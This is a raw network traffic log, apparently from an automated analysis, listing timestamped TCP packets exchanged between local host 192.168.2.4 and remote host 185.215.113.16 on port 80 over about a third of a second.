Dec 15, 2024 11:59:58.981287003 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.981329918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.984853029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.984899044 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.984942913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.984988928 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:58.988390923 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:58.988436937 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.055746078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.055805922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.055814028 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.055859089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.056974888 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.057029009 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.057090044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.057132959 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.059528112 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.059570074 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.060429096 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.060477972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.060534954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.060578108 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.063029051 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.063076019 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.063112020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.063155890 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.065557003 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.065604925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.065673113 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.065718889 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.068064928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.068113089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.068171024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.068212986 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.070521116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.070571899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.070636988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.070683002 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.072926044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.072976112 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.072978973 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.073023081 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.075335026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.075387955 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.075431108 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.075474977 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.077692032 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.077744961 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.077745914 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.077788115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.080033064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.080077887 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.080108881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.080152035 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.082360029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.082403898 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.082457066 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.082499027 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.084623098 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.084682941 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.084718943 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.084759951 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.086807013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.086852074 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.086930990 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.086973906 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.089106083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.089155912 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.089210033 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.089257956 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.091279984 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.091326952 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.091536045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.092773914 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.093470097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.093513966 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.093574047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.093638897 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.095674992 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.095724106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.095784903 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.095829010 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.097795010 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.097843885 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.097904921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.097948074 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.100060940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.100104094 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.100183964 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.100224018 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.102117062 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.102159023 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.102235079 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.102277994 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.104193926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.104242086 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.104302883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.104346037 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.107203007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.107245922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.108329058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.108378887 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.110230923 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.110265017 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.110279083 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.110305071 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.111666918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.111710072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.112018108 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.112060070 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.113151073 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.113185883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.113192081 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.113229990 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.113877058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.113910913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.113919973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.113953114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.114320040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.114367962 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.114433050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.114480972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.115575075 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.115618944 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.115844011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.115889072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.116889000 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.116930008 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.116940975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.116986990 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.118206024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.118253946 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.118294954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.118340015 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.119479895 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.119522095 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.119623899 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.119673014 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.120749950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.120793104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.120881081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.120920897 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.122056007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.122108936 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.122293949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.122337103 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.123352051 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.123395920 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.123456001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.123497963 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.124798059 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.124844074 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.124898911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.124941111 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.125972986 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.126020908 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.126082897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.126127005 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.127227068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.127279043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.127279043 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.127317905 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.128501892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.128546953 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.128622055 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.128667116 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.129828930 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.129873991 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.129946947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.129988909 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.131112099 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.131159067 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.131179094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.131220102 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.132396936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.132440090 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.132500887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.132544994 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.133712053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.133755922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.133802891 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.133853912 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.135154963 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.135204077 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.135206938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.135251999 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.136280060 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.136318922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.136379957 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.136424065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.137583017 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.137626886 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.137702942 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.137747049 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.138853073 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.138902903 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.138906956 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.138948917 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.140808105 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.140851974 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.141181946 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.141227007 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.141815901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.141865969 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.141868114 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.141907930 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.142971039 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.143017054 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.143100023 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.143141985 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.144042015 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.144090891 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.144154072 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.144213915 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.247771025 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.247837067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.247837067 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.247879028 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.248440981 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.248496056 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.248557091 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.248604059 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.249670982 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.249735117 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.249797106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.249842882 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.251013994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.251070976 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.251195908 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.251244068 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.252202988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.252254963 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.252336025 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.252381086 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.253459930 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.253528118 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.253597021 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.253642082 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.254662037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.254712105 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.254862070 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.254905939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.255817890 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.255870104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.255959988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.256004095 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.257024050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.257108927 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.257159948 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.257210016 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.258227110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.258275032 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.258336067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.258387089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.259335995 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.259387016 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.259387970 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.259433985 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.260468960 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.260516882 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.260576963 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.260618925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.261620045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.261668921 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.261745930 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.261791945 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.262761116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.262808084 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.262887001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.262948990 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.263811111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.263854980 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.263915062 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.263957977 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.265258074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.265290976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.265300989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.265335083 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.266273975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.266319990 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.266345024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.266390085 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.267271042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.267322063 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.267391920 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.267435074 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.268116951 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.268166065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.268289089 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.268342018 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.269200087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.269242048 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.269316912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.269357920 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.270256042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.270298004 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.270360947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.270401955 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.271332026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.271378994 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.271431923 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.271473885 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.272367001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.272408962 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.272489071 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.272531033 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.273413897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.273458004 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.273510933 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.273552895 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.274487019 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.274529934 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.274605989 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.274646044 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.275599957 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.275645018 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.275676966 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.275721073 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.276616096 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.276658058 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.276721954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.276763916 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.277677059 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.277721882 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.277782917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.277823925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.278762102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.278810024 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.278908014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.278949976 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.279793024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.279838085 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.279925108 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.279967070 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.280863047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.280906916 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.281054020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.281095982 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.281894922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.281939983 CET	49876	80	192.168.2.4	185.215.113.16
